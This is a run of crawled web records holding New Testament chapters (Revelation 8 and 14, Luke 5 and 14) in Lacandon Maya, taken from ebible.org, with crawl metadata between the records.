quir u ts'ic ti' C'uj, jeroj tunej, caj u ruchaj u chuquic'ac' a ti' yʌn tu cuchir tu cu naj toquic a qui' u boque'. Jeroj chupij tu japnin u chan mascabir a quir u cuchic a qui' u boque', jeroj tune' caj u pich'int u chuquic'ac' ich yoc'ocab, caj raramnʌj ich yoc'ocab, bayiri' xan, caj pecnʌj a ru'umo', bayiri' xan, jach c'am pecnʌj, c'am u jum.\nA sietejo' u macabir quir u yutsta'r mac\n6 Wa ber caj in wʌyʌc'taj u yʌjmasirob u t'ʌn C'uj, a robob a ch'ica'ano' ich ʌcʌtan C'uj. A sietejo', a tin wiraj sam. Jeroj tin wiraj u ric'sicob u mascabir quir u yutsta'r mac, quire' tabar u yutsicob.\n7 U yʌjmasir u t'ʌn C'uj, a pʌybero', caj u yutstaj u mascabir quir u yutsta'r mac. Rajen pur u baja' ich yoc'ocab, toc xaxaca'an yejer c'ac', yejer q'uiq'uer xan, caj purij ich yoc'ocab. Jun xot' a che'o' ich yoc'ocab, caj erij quire' a c'ac'o'. Chen a su'uco', caj rʌc erij, bayiri' xan jun xot' a ru'umo', erij.\n8 U jer yʌjmasir u t'ʌn C'uj, a ca'turo' caj u yutst u mascabir quir u yutsta'r mac. Rajen purij ich c'ac'nab u ba'in quiri' irej a witso', toc t'ʌba'an, rajen jun xot' a c'ac'nabo' caj waysa'b chʌc, ir u q'uiq'uer mac.\n9 Quire' a witsob, a t'ʌba'ano', jun xot' a ba' ti' yʌn ich c'ac'nab caj quimij. Bayiri' xan, jun xot' u chemic'ac'nab a ti' yʌno', caj jurobij.\n10 U jer yʌjmasir u t'ʌn C'uj, a treso', caj u yutstaj u mascabir quir u yutsta'r mac. Rajen purbij ch'ic yum sab toc t'ʌba'an, irej tʌjte' cu yerar. Tar rub ich jun xot' yic' ja' yejer chan sʌyab xan.\n11 Pʌcha'an u c'aba' a ray sabo', C'aj che', quire' c'ajij yo'och ja' tu rub a sabo'. Mʌ' ja wirej, jun xot' c'ajij. A mac jach bʌytʌc ti' yo'och ja', caj u yuc'ob aro' caj quimij. Ya'ab quimij quire' c'ajij yo'och ja'.\n12 U jer yʌjmasir u t'ʌn C'uj, a cuatrojo', caj u yutst u mascabir quir u yutsta'r. Rajen caj ac'birchʌjij jun xot' a sabo' yejer a q'uino', yejer ic nʌ'o' soc chen chʌca'an yiric mac irej jun xot' ac'birchʌjij, cax chun q'uin cax ac'bir.\n13 Caj in wʌyʌc'taj u jer yʌjmasir u t'ʌn C'uj, jeroj caj in pʌctaj caj in wiraj xic' u ca' ich ca'anan. Jeroj, tune', caj in wu'yaj jach c'am u t'ʌn tan ya'aric:\n―Ay, quen, jach ay quen, otsirchʌjob a mac a cʌja'an ich yoc'ocab quire' ti' toy yʌn u jer u mascabir quir u yutsta'r. Ti' toy yʌn mʌna' u nup'. Jeroj tabar u yutsta'r ten u yʌjmasirob u t'ʌn C'uj. Baxuc tu ya'araj yʌjmasir u t'ʌn C'uj a xic' u ca'.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/RV8.html","date":"2022-07-05T21:49:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104628307.87\/warc\/CC-MAIN-20220705205356-20220705235356-00351.warc.gz","language":"lac","language_score":1.0000008345,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000008344650269}","num_words":850,"character_repetition_ratio":0.103,"word_repetition_ratio":0.012,"special_characters_ratio":0.301,"stopwords_ratio":0.467,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"14\nA ba' cu c'ʌyicob a 144,000\n1 Caj ts'oc in wʌyʌc'tic a bʌc'o', a jach caremo', raji' a ca'turo'. Caj in pʌctaj caj in wiraj u jer, chen ra'iri' a tʌmʌn yuco' a tin wiraj ch'iquicbar ʌcʌtan ti' a mac a curucbar tu cutan, a jach caremo' uch. Tu yʌn a tʌmʌn yuco', tin wiraj tan u ch'ictar ich u jo'r p'uc wits, ra' u c'aba' Sión. Ti' yʌn jach pim mac yejer a tʌmʌn yuco'. Ti' yʌn ciento cuarenta y cuatro mil mac. Robob toc ts'iba'an tu pam u c'aba' a tʌmʌn yuco', quet yejer u c'aba' u Tet C'ujo'.\n2 Caj in wu'y u t'ʌn mac te' ca'anano' an ten bic c'am u jum u yoc ja', chich u man a jach yoc ja'o', irej wa jach ya'ab ja'. A ra' t'ʌno' a tin wu'yo', ra' ir u t'ʌn a cu pec. A werex ba' quiri', tin wu'y u c'ay a mac a tan u pʌxicob arpa. Tan u c'ʌyicob u c'ay a mʌna' mac yubmʌn uch.\n3 A rayo', ich ʌcʌtan a mac a curucbar tu cutan a jach caremo', tan u c'ʌyicob quire' ti' yʌn a ba' irej bʌc', a cuxa'ano', a cuatrojo', bayiri' xan ti' yʌn a veinte y cuatro xib, a nuxibo'. Chen jari' a ciento cuarenta y cuatro mil mac caj u c'ayob a c'ayo' a mʌna' mac yubmʌn uch. Quire' u jer mʌ' ju c'uchur yor u cʌnej quire' robob caj taca'b ten C'uj ich tu cotor mac ich yoc'ocab. Chen robob cu najticob.\n4 Robob a cu c'ayob, mʌ' ju manob yejer xquic uch, mʌ' ju manob yejer xib xan, mʌ' ju ch'aj u mam xan, mʌ' ju ch' u rac' xan, quire' tu quibob u t'ʌn a tʌmʌn yuco', soc ra' cu pʌyic u berob. Robob ti' yʌnob, quire' toc ten C'uj ich mac tu cotor. Robob jun yarob ich a mac pʌyber toc ten C'uj a tu yacsaj tu yorob ti' C'uj, bayiri' xan, a tu yacsob tu yorob ti' a tʌmʌn yuco'.\n5 Robob taj tu yacsob tu yorob, mʌ' ju tus a'arobi', rajen toc taj yorob ʌcʌtan tu curucbar a C'ujo' ich u cutan a jach caremo'.\nU t'ʌn tuchi'ta'b ten C'uj yejer a mʌna' u nup yʌjmasirob u t'ʌn C'uj\n6 Caj in wʌyʌc'taj caj in pʌctaj caj in wir u jer yʌjmasir u t'ʌn C'uj. Raji' xic' u ca' te' ich ca'anano', soc mʌ' jar u bin u tsec't u jach tsoyir u t'ʌn C'uj, quire' munt q'uin mʌ' ju c'oxar ten C'uj. Ra' cu bin tsec'bir ich tu cotor mac a ti' yʌn ich yoc'ocab, cax tu cʌja'anob, cax a ba' u t'ʌnob, cax a ba' yo'nen yʌn ti'ob, cax a ba' cajar tu yʌnob cu rʌc man tsec'bir.\n7 A ray yʌjmasir u t'ʌn C'ujo' c'am caj ya'araj:\n―Toc ch'a'ex sajquir ti' C'uj tan a caremquintiquex u c'aba', quire' raji' tabar u to'car u jo'r a mac a cu sʌjticob a bʌc'o', a jach caremo' yejer a ayimo' a jach manan caremo'. Toc c'ujintex C'uj, quire' ra' tu betaj a ru'umo', yejer a ca'anano' yejer a c'ac'nabo' yejer a yic' ja'o' ―baxuc caj ya'araj yʌjmasir u t'ʌn C'uj.\n8 Sansam caj in wʌc'ʌs ir u jer yʌjmasir u t'ʌn C'uj, raji' rub tu pach a yʌn binij. Raji' caj ya'araj:\n―Toc ch'esa'bir ten C'uj u winiquirob, ra' u cajar Babilonia. Qui'quint a worex, cax no'j u cajar a ch'esa'b ten C'uj, quire' pay u si'pir ten mac a cʌja'an tu cajar Babilonia u yet cajar ich yoc'ocab. Mʌ' ja wirej, ara'b u manob irbir xquic ten xib, bayiri' xan, ara'b u manob irbir xib ten xquic, bayiri' ara'b mac ca' u pʌy u si'pir, rajen tu yubob u ts'iquir C'uj.\n9 Sansam caj in wʌc'ʌs ir u jer yʌjmasir u t'ʌn C'uj, raji' say tu pach a ca'turo', a tan tu manob sam. Caj tarij, raji' c'am caj u ya'araj:\n―Robob, a mac a cu cha'bʌrob ca' u ts'ibt u c'aba' a bʌc'o', a jach caremo', cax tu c'ʌb wa tu pam. Robob a mac a caj u sʌjtob u yochir a bʌc'o', a jach caremo'.\n10 Robob bin u ca' yubob u jach ts'iquir C'uj tu cu bin ts'abʌr u muc'yaj, quire' jach manan cu bin yubob u ts'iquir C'uj. Tar cu bin ich c'ac' quir u ts'abʌr u muc'yajob. Robob cu bin ts'abʌr u muc'yajob ich ʌcʌtan u yʌjmasirob u t'ʌn C'uj, bayiri' ich ʌcʌtan a tʌmʌn yuco'.\n11 A ray winiquirob, a mac a tu sʌjtob a bʌc'o', yejer u yochir a beta'b ten mac, cax a mac a yʌn ts'iba'an u c'aba' a bʌc'o', a jach caremo' tu winquirir, raji' mʌ' ju bin jawʌr u yajirir, quire' rajra' cu bin u muc'yaj. U buts'ir tu cu muc'yaj rajra' cu bin u nacʌr ca'anan.\n12 Rajen a mac a tu yacsaj tu yor ti' u t'ʌn C'uj yejer a mac a tan u quibic u t'ʌn C'uj ca' u cʌnej Jesús soc nemʌ' biqui'.\n13 Jeroj tune', caj in wu'y mac cu t'ʌniquen ca'anan. Raji' caj u ya'araj ten:\n―Ts'ibtej a je'ra', quij: \"Jach qui' yor a mac a cu bin quimin tu q'uinin baje'rer hasta ca' bin tac u xur t'ʌn quire' tu yacsaj tu yor ti' u t'ʌn C'uj.\" Raji' taj cu ya'aric u Taj'or u Pixam C'uj. Robob bin u ca' u jesob u bʌj tu chich beyajnʌjob uch, quire' a ba' tu betob, quet cu bin yejerob.\nBic tabar cu bin xur t'ʌn\n14 Tu tin wʌyʌc'taj ich ca'anan caj in pʌctaj caj in wiraj turiri' u muyarir, jach sʌc. Ich yoc'ar u muyaro', ti' yʌn mac curucbar, raji' irej an ten bic xib, u p'oquinmʌn tu jo'r u p'oc a beta'b ti' u mascabir oro, an ten bic a reyo' cu p'oquintic. Raji' u mʌchmʌn tu c'ʌb u chan mascabir a tu cu naj t'oj c'uptic u chan c'ʌbir u yaq'uir u wich uva, soc u t'aquic u wich uva. Jach qui' u yej u chan mascabir.\n15 Caj in wʌc'ʌs ir u jer yʌjmasir u t'ʌn C'uj. Ra' joc' tu cu naj c'ujinticob C'uj. Raji' caj u c'amquint u t'ʌn, tan ya'aric ti' a mac curucbar ich u muyariro':\n―Jup u chan mascabir tu ca naj t'ojc'uptic u wich uva a ta pʌc'aj irech a mac tu pʌc'aj u yaq'uir u wich uva uch. Quire' c'uchij tu q'uinin in t'ojc'uptic u wich uva quire' tʌc'an u wich ir u corir u pʌc'ar u wich uva ich yoc'ocab ―baxuc tu ya'araj u yʌjmasir u t'ʌn C'uj.\n16 A mac a curucbar ich u muyarir caj u jup u chan mascabir tu cu naj t'ojc'uptic u wich uva quir u t'ojc'uptic u pʌc'ar u wich uva, jeroj caj u rʌc t'ojc'upt u pʌc'aj u wich uva ich yoc'ocab.\n17 Caj in wʌc'ʌs ir u jer yʌjmasir u t'ʌn C'uj. Raji' caj joq'uij tu cu naj c'ujinticob C'uj ich ca'anan. Bayiri' xan, raji' u mʌchmʌn u chan mascabir tu cu naj t'ojc'uptic u wich u pʌc'ar uva. Jach qui' u yej u chan mascabir.\n18 Caj in wʌc'ʌs ir u jer yʌjmasir u t'ʌn C'uj. Raji' caj joq'uij tu cuchir tu cu naj toquic a ba' cu bin u ts'ic ti' C'uj. Raji' ti' yʌn ʌcʌtan tu cu naj c'ujinticob C'uj. A ray yʌjmasir u t'ʌn C'ujo', cu cʌnantic u c'aq'uir a ti' yʌno', soc rajra' t'ʌba'ano'. Raji' caj u c'amquint u t'ʌn ti' u yet yʌjmasir u t'ʌn C'uj a yʌn u chan mascabir a jach qui' yej quir u naj t'ojc'uptic u pʌc'ar u wich uva. Caj u ya'araj ti':\n―Jup a chan mascabir, a qui' yej, ca' a t'ojc'uptej u wich uva, cax tu yʌni' quire' tʌc'an u wich ich yoc'ocab, quire' ir u corir u pʌc'ar u wich uva.\n19 Rajen a ray yʌjmasir u t'ʌn C'ujo', caj u jup u chan mascabir quir u t'ojc'uptic u pʌc'ar u wich uva irej u corir u pʌc'ar u wich uva. Caj ts'oc u rʌc t'ojc'uptique', caj u pich'intaj tu cu naj yʌch'ic u c'ab uva. Raji' u c'at ya'aric wa ber ca' bin ts'abʌc u muc'yaj ten C'uj quire' jach yaj u muc'yaj ca' bin tac.\n20 A ra' u ts'iquir C'uj bin u ca' yubob mac, jach manan bin u ca' yubob an ten bic cu yʌch'ic a ray u pʌc'ar u wich uvajo' ich tancab u cajaro'. A tu cu naj yʌch'ic u pʌc'ar u wich uvajo' ich tancab u cajar je' u joc'ar u q'uiq'uer mac quire' ts'iquij C'uj. Bin u caj turur, tam ʌcriquic u q'uiq'uer mac a cu joc'ar, hasta cu c'uchur tu chi' a tsimino' a xʌcʌcbaro'. Je' u bin u q'uiq'uer nach tac tresciento kilómetros tu cu yʌch'ico'.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/RV14.html","date":"2022-07-05T22:41:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104628307.87\/warc\/CC-MAIN-20220705205356-20220705235356-00376.warc.gz","language":"lac","language_score":1.0000025034,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000025033950806}","num_words":1420,"character_repetition_ratio":0.089,"word_repetition_ratio":0.025,"special_characters_ratio":0.306,"stopwords_ratio":0.497,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5\nCaj u puraj u chim ich c'ac'nab caj ara'b ten Jesús caj oc u cʌyir quire' jach carem u beyaj Jesús\n(Mt. 4.18‑22; Mr. 1.16‑20)\n1 Caj c'uchij tu q'uinin u man u tsec'tej Jesús ich u chi' c'ac'nab u c'aba' Geneseret. Caj c'uchob jach pim, caj u rʌc nʌctantajob u bʌj ich Jesús quire' u c'at yubicob u jach tsoyir u t'ʌn C'uj. 2 Jesús caj yiraj ti' yʌn chem ich chi' c'ac'nab, bʌytʌc u sa'amin u chi' c'ac'nab. Ca'tur caj yiraj chem. Chen u chem yʌn. Ti' yʌn u winiquirir u chem tan u p'o'icob u chim. 3 Jesús caj oc cutar ich chem, turiri', ra' u chemin Simón caj c'ata'b ti' ten Jesús:\n―Joc'sej u chemin nʌnʌchir.\nJesús caj curʌj u camsej a pimo'. 4 Caj ts'oc u camsic Jesús a pimo' caj ara'b ti' Simón:\n―Ch'aj a chem ca' xiquech ca' a purej a chim tub tam. Je' a chuquic ya'ab cʌy yejer a wet beyajob.\n5 Caj u nunca Simón:\n―In wʌjcamsʌyʌjirech, u bur u ac'bir caj chich beyanʌjenob tan in puric in chimob. Mʌ' tin c'ʌs chuc u cʌyirob. Chen wa tech aric tenob, je' in wʌc'ʌs bin in purejob in chimob.\n6 Caj ts'oc u puricob u chimin caj u jach chucajob u cʌyir ya'ab. Caj u yʌnxchun u jatʌr u chimin quire' jach manan chup u cʌyir u chimin. 7 A mac ti' yʌnob ich chem yejer Simón caj u babach c'ʌ'tajob u yet chucob cʌyob, a ti' yʌn juntur chem quir u yamta'r u jitic u chimin. Caj tarob yamtabir Simón. Caj u jitob caj u but'ajob ich chemob caj chup u cʌyir ich chemob tabar u jurur u chemob. 8 Caj yiraj Simón Pedro jach ya'ab caj u chucajob u cʌyir caj xonraj ʌcʌtan ich Jesús. Caj ya'araj:\n―Chan xen Jaj Ts'urir p'ʌten quire' a teno' jach manen yʌn in si'pir.\n9 Caj u ya'araj aro' quire' jach jaq'uij yor Simón. Quet caj jaq'uij yorob xan a yejer yet chuc cʌyo' Simón. Quire' yirob jach chup u cʌyir caj u but'ob ich chem caj u chucajob. 10 Baxuc xan u c'aba' Jacobo yejer Juan yet chucob cʌy Simón, a p'eri' u beyajob. Ra' u teto' Zebedeo, caj jac' yorob xan. Caj ya'araj Jesús ti' Simón:\n―Mʌ' u jac'ʌr a wor an ten bic caj a chucaj cʌy. Quire' ra' a beyaj, ca' bin a camsej in t'ʌn ich a rac'ob soc u quibicob in t'ʌn. Ra' a beyaj baje'rer ―quij Jesús.\n11 Caj u jitob u chem ich chi' c'ac'nab caj u rʌc p'ʌtob u beyajob u chuc cʌy caj rʌc binob tu pach Jesús quir u cʌnicob u t'ʌn Jesús.\nJesús cu jawsic a ju cʌnmʌn iq'uer u ca'\n(Mt. 8.1‑4; Mr. 1.40‑45)\n12 Caj c'uchi tu q'uinin ti' yʌn Jesús ich turiri' cajarob carem. Caj c'uchi turiri' xib yaj, u cʌnmʌn iq'uer u ca'. Caj xonraj ich Jesús caj u chich c'ataj ti' Jesús:\n―In wer c'ucha'an a wor a jawsiquen Jaj Ts'urir wa ja c'at a jawsiquen ―quij, a iq'uer u ca' teno'.\n13 Jesús caj u tich'aj u c'ʌb caj u tʌraj caj ya'araj:\n―In c'at in wiric a jawʌr ―quij Jesús.\nCaj ya'araj aro' seb caj jawij iq'uer u ca' ti'. 14 Jesús caj u chich araj ti' a jawe':\n―Mʌ' a bin a wa'aric tu ca man bic jawech. Chen tar a bin ich u sacerdote u winiquirob judío quir a sijic ti' a ba' ya'araj Moisés uch. Soc yerob tu cotor mac jawsa'bech ―quij Jesús.\n15 Quire' a pimo' yubaj u juminta'r jach chich u muc' Jesús, jach manan caj u rʌc juminta'r ti' u rac'ob. Rajen rʌc tarob pim quir u much'quinticob u bʌj quir yubicob u tsec'ticob u t'ʌn C'uj Jesús, quir u jawsʌr u yajirir xan. 16 Jesús caj u jamach p'ʌtaj a pimo' quir u bin u t'ʌnej C'uj tu junan ich tʌcay ru'um.\nJesús cu jawsic a mʌ' u ch'ictare'\n(Mt. 9.1‑8; Mr. 2.1‑12)\n17 Caj c'uchij tu q'uinin, tan u camsic Jesús. Chen jun yarob u winiquirob judío a fariseojo' yejer yʌjcamsʌyʌjirob u t'ʌn Moisés curucbarob yubejob. A pimob ti' u tarob ich u ru'umin Galilea. Ti' u tarob u jerob ich u ru'umin Judea. Ti' u tarob u jerob ich u cajar Jerusalén. Jach ts'urinta'b Jesús ten u Taj'or u Pixam C'uj quir u jawsic u yajirir mac. 18 Jun yarob xib caj tarob purbir a mʌ' u ch'ictare'. Caj u c'ochob yejer u ch'ac. U c'at yacsa'r ich yatocho' tu yʌn Jesús ca' u chaquintob ich Jesús. 19 Chen mʌ' tu cu yacsicob quire' ti' yʌnob jach pim. Rajen caj nacob ich u pach yatoch quir u rʌcob u pach yatoch quir u yensa'r yejer u ch'ac, a mʌ' u ch'ictaro' ich Jesús. Caj u patajob u jo'r yatoch quire' taj u jo'r yatoch. 20 Caj u yiraj Jesús bic tabar cu yacsicob tu yor ti' Jesús caj ya'araj ti' a mʌ' u ch'ictare':\n―Je' in toc jawsic a si'pire' baje'rer.\n21 U winiquirob judío a fariseojo' yejer u yʌjcamsʌyʌjirob u t'ʌn Moisés caj u yʌnxchun u tucricob tu yor: \"Mac winic a je'ra' cu tucric c'ucha'an yor u jawsic u si'pir mac? Tan u pach'ic C'uj Jesús, chen a C'ujo' c'ucha'an yor u jawsic u si'pir mac.\"\n22 Jesús yer ba' cu tucricob u winiquirob judío rajen caj ya'araj ti'ob:\n―Biquinin tan a waquex tan in pach'ic C'uj? 23 Wa quin wa'aric ti' a je' xiba': \"Je' in toc jawsic a si'pire'\", a techexo' mʌ' a werex wa yʌn ten u muc' C'uj, chen wa quin wa'aric ti': \"Riq'uen ca' xiquech\", ca bin a werex yʌn ten u muc' C'uj. 24 Baje'rer je' in toc esic techex in muq'ue' quir in jawsic u si'pir a je' xiba', quire' quin bin in jawsic u yajir a mac mʌ' u ch'ictare' soc a werex jach yʌn in muc' quir in jawsic u si'pir mac, quire' a teno' baxuquenechexo'.\nJesús caj u t'ʌnaj a mac a mʌ' u riq'uire':\n―Riq'uen ca' xiquech ta woc, toc ch'aj a ch'ac, xen ich a watoch.\n25 Seb caj riq'uij a mʌ' u ch'ictare' ʌcʌtan u rac'ob caj yirajob u ch'ic u ch'ac yejer u tas caj bin ich yatoch caj u ya'araj ti' C'uj:\n―Bayo' C'uj, ta jawsajen.\n26 Caj jaq'uij yorob a ti' much'a'anob, caj u ch'aj sajaquirob caj u ya'arajob:\n―Jach caremech C'uj quire' mʌ' biq'uin ij quiramʌni' u jawsic mac hasta baje'rer caj ij quiraj.\nJesús caj u pʌyaj Leví ca' tac u cʌnej u t'ʌn\n(Mt. 9.9‑13; Mr. 2.13‑17)\n27 Caj joc' Jesús tub u jawsaj a mʌ' u ch'ictar ca'ch. Caj u yiraj yʌjc'ʌmin u taq'uin gobernador, raji' u c'aba' Leví, curucbar tu cu c'ʌmic u taq'uin gobernador. Caj ara'b ti':\n―Cojen tin pach ca' a cʌnej in camsiquech soc in camsʌwiniquech.\n28 Leví, caj riq'uij caj u rʌc p'ʌtaj u beyaj caj say tu pach Jesús quir u cʌnic u t'ʌn Jesús.\n29 Leví, caj u much'quintaj u rac'ob quir u qui' janʌnob quir u sʌjticob Jesús. Caj rʌc tarob ich yatoch Leví, ti' yʌn u jerob yʌjc'ʌminob, u taq'uin gobernador jach pim. Bayiri' ti' yʌn u jerob u rac'ob xan. P'eri' curicob janʌnob. 30 Caj yirob u winiquirob judío a fariseojo' yejer u yʌjcamsʌyʌjirob u t'ʌn Moisés a fariseojo'. Caj choquij yorob, caj u yʌnxchun ya'ara' ti' u camsʌwinicob Jesús:\n―Biquinin p'eri' a janʌnex ca wuc'urex xan yejer a mac cu c'ʌmicob u taq'uin gobernador yejer a mac jach yʌn u si'pirob?\n31 Jesús caj u nuncaj ti'ob:\n―Baxuc a yer ts'aco' mʌ' u ts'ʌquic a mʌ' yaje', cu chen ts'acʌr a yʌn u yajire'. 32 Baxuc a teno' taren in pʌyic a mac a yʌn u si'pirob ca' u c'axej tu yorob soc u p'ʌticob a c'aso'. Mʌ' taren in yamtic a mac cu ya'aric mʌna' u si'pir ―baxuc caj ya'araj Jesús.\nCaj c'ata'b ti' Jesús ten u winiquirob judío: Biquinin mʌ' u jamach p'ʌticob u janʌn u camsʌwinicob?\n(Mt. 9.14‑17; Mr. 2.18‑22)\n33 A mac ti' yʌn caj u c'atob ti' Jesús:\n―Arej to'on biquinin mʌ' u jamach p'ʌticob u janʌnob a camsʌwiniquirob quire' rajra' tan u qui' janʌnob. Chen u camsʌwinicob Juan cu jamach p'ʌticob u janʌn, quir u t'ʌnicob C'uj ―baxuc u camsʌwinicob a fariseojo'.\n34 Jesús caj u nuncaj:\n―Mʌ' ba' u ber ca' u jamach p'ʌticob u janʌn a yet mano' cu bin u ch'ic u rac' quire' qui' yorob. 35 Barej ca' bin ruc'sac a cu bin u ch'ic u rac' ten a mac a cu p'actic ti'. Raxben tsoy u jamach p'ʌticob u janʌn u camsʌwinicob quire' tan yac'ta'rob a mac ruc'sa'b.\n36 Jesús caj u camsaj ti'ob tan ya'aric:\n―Mʌ' tsoy ic xac'tic a ba' caj u camsajo'on ic nunquirex quire' jach uchben yejer a ba' ric'ben ca wu'yiquex. An ten bic mac mʌ' ju jʌtic ric'ben quir u pʌq'uic u rabir u noc'. Quire' a ric'beno' cu mosar. Chen wa cu pʌq'uic u rabir yejer a ric'beno', chen a rabo', raji' cu bin jatʌr. Sat a ric'beno' a caj u jʌtaj quir u pʌq'uic ich u rabir. Mʌ' ju bin quet tarob. 37 Baxuc xan, mʌna' mac cu t'ajic u c'ab uva ric'ben ich u rabir yot'er yʌrʌc' chivo, quire' je' u paj u c'ab uva ich u rabir u yot'er chivo, je' u bujure', cu bin u satʌr u c'ab uva yejer yot'er xan. 38 Rajen yʌn u t'ajic u c'ab uva a ric'beno' ich u yot'er chivo a ric'beno'. 39 Mʌ' ja wirej, a mac toc naj yuq'uic u c'ab uva a pʌje', qui' yubic. Mʌ' ju yuq'uic ric'ben u c'ab uva quire' toc na'sa'b yuq'uic pʌj u c'ab uva. Rajen, a techexo' mʌ' a c'at a p'ʌtiquex a ba' tu na'satechex a nunquirex. Baxuc mʌ' ja c'ʌmiquex a ric'beno' quin camsiquechex.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK05.htm","date":"2022-08-15T07:38:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572161.46\/warc\/CC-MAIN-20220815054743-20220815084743-00581.warc.gz","language":"lac","language_score":1.0000019073,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000019073486328}","num_words":1572,"character_repetition_ratio":0.056,"word_repetition_ratio":0.003,"special_characters_ratio":0.294,"stopwords_ratio":0.485,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"14\nJesús cu jawsic a chup u bʌq'uero'\n1 Caj c'uchij tu q'uinin caj bin tu janʌn Jesús ich yatoch u ts'urir u winiquirob judío a fariseojo' quire' pʌybir. Ray u q'uinin u jesicob u bʌj u winiquirob judío. A ju yet janʌnob tan u ch'ucticob a ba' cu bin u betej Jesús. 2 Ti' yʌn xib xan tu yʌn Jesús. A yʌn u yajir chup u bʌq'uer. 3 Jesús caj ya'araj ti'ob a fariseojo' yejer yʌjcamsayʌjirob u t'ʌn Moisés a ju yet janʌnob, caj ya'araj ti'ob:\n―Ba' cu ya'aric tu ts'iba'an u t'ʌn Moisés? Cu cha'ic wa jic jawsic u yajir mac wa mʌ' u cha'ic ic jawsic mac u q'uinin quir a jesiquex a bʌjex?\n4 Mʌna' mac caj u nuncaj a ba' c'ata'b ti'ob. Rajen Jesús caj u mʌchaj u c'ʌb caj u jawsaj u yajir. Caj ts'oc u jaware' caj u cha' u bin a mac jawsa'b. 5 Jesús caj ya'araj ti'ob a mac rʌc ti' yʌnob ich yatoch u ts'urir a fariseojo':\n―Wa yʌn techex a wʌrʌc' chan tsimin cax a wʌrʌc' wacʌx ton, wa pitc'ʌjij caj but' ich u jorir ru'um ich yic' ja', mʌ' wa seb ca jariquex cax u q'uinin a jesiquex a bʌjex?\n6 Mʌ' c'ucha'an yor u nunquicob ti' Jesús.\nJesús caj u camsaj a mac ti' yʌnob ich yatoch u ts'urir a fariseojo'\n7 Jesús caj yiraj bic cu teticob u cutanob a payob tu janʌnob. U c'at u cutarob soc jach no'j tu cura'anob. Rajen Jesús caj ya'araj ti'ob:\n8 ―Wa ju pʌyiquechex mac quir a janʌnex tu cu bin u ch'ic u rac'. Mʌ' ja yʌn cutarex tu cu cutar a mac jach no'j. Quire' wa ti' ca cutarex jaj ixtʌcoj wa cu tar a mac jach no'jo' quire' techex mʌ' jach no'jechexi'. 9 Wa ti' cura'anech cu bin tar yac tech a mac tu pay a janʌn: \"Chan joq'uen a techo' ―quij― ca' xiquech ti' taro' soc in wacsic a je' xiba' tera' ta cutan.\" Rajen ―quij Jesús―, ca' bin a ch'ic suraquir tu ca bin a cutar tu mʌ' no'j a cutan. 10 Chen wa cu payiquechex mac quir a janʌnex tu cu bin u ch'ic u rac'. Tar a cutarex tu cura'an a mac mʌ' no'jo' soc wa cu tar a mac tu pʌyechex cu bin yac techex: \"In jach yajech ―quij―, cojen a cutar tu jach no'j.\" Ra'iri' u q'uinin cu bin sʌjta'birechex ten a mac cura'anob janʌnob yejerech. 11 Mʌ' ja wirej ―quij Jesús―, a mac a cu tucric: Jach no'jen, a C'ujo' cu bin yiric mʌ' no'ji'. A mac a cu tucric: Mʌ' no'jen a teno', a C'ujo' cu bin yiric jach no'j.\n12 Jesús ti' toy cu tsicbar ti' a mac caj u pʌy tu janʌn. Caj ya'araj ti':\n―Barej ca pʌyic mac quir u janʌnob cax cu qui' janʌnob? Mʌ' ja chen pʌyic a mac a jach yaj. Mʌ' ja pʌyic a wits'inob, mʌ' ja pʌyic a bʌjob, mʌ' ja pʌyic a wet cajar a neyʌn u taq'uinob quire' baxuc xan c'ucha'an yorob u wʌc'ʌs pʌyiquech ta janʌn xan. Baxuc aro' tu wʌc'ʌs botechob. 13 Chen wa ca pʌyiquex mac quir u qui' jananob. Pʌyej a mac otsij, baxuc pʌyej a xon c'upa'an yoco' wa ju c'ʌb xan. Baxuc pʌyej a mech yoque'. Baxuc pʌyej a ch'op u wiche' xan. 14 Wa baxuc ca pʌyicob janʌnob a C'ujo' cu bin u qui'quintic a wor quire' a ra' winiquirob mʌ' cucha'an yorob u wʌc'ʌs bo'otiquech tu ta payajexob. Chen C'uj cu bin u bo'otiquex ca' bin riq'uic a mac quimeno' a mac curʌjij an ten bic C'uj u c'at uch.\nJesús cu camsic ti' a mac a mʌ' u c'at u tarob u qui' janʌnob\n15 A mac a p'eri' curic janʌnob a caj u yubaj ya'aric Jesús caj ya'araj ti' Jesús:\n―Jach qui' yorob a mac a cu bin janʌnob tu q'uinin cu bin u reyinticob C'uj a payob janʌnob. Ba'iri' cu c'uchur quir u janʌn.\n16 Jesús caj ya'araj ti':\n―Yʌn mac caj u toc pʌyaj ya'ab ca' tac u qui' janʌnob. Tar cu bin pʌybir tu yatochob. 17 Caj c'uchij tu q'uinin toc ts'aca'an yo'och caj tuchi'ta'b ca' u t'ʌnej a mac payob janʌnob uch. U c'urewob a tu pʌyaj ti' janʌnob: \"Cojen ―quij―, toc ts'aca'an a wochex.\" 18 Chen tu cotor a payob ca'ch caj u yʌnxchun ya'arob. Biquinin mʌ' c'ucha'an yor u binob, a tu yʌn c'uch, caj ya'araj: \"A teno' caj in mʌnaj in ru'um, yʌn in bin in wiric biquira'. Toc chan arej ti' a jach ts'urir mʌ' c'ucha'an in wor in tar. Arej u jawsen a Jaj Ts'urir.\" 19 Caj c'uchij u c'urew ich u jer a mac payob ca'ch. Raji' caj u ya'araj: \"A teno' caj in mʌnaj cinco ca' ca'tur in wʌrʌc' wacʌx a ton, a cu jitic ba'. Bin in ca' in wirej wa cu beyajob. Toc chan arej ti' a Jach Ts'urir mʌ' c'ucha'an in wor in tar. Arej u jawsen.\" 20 Caj 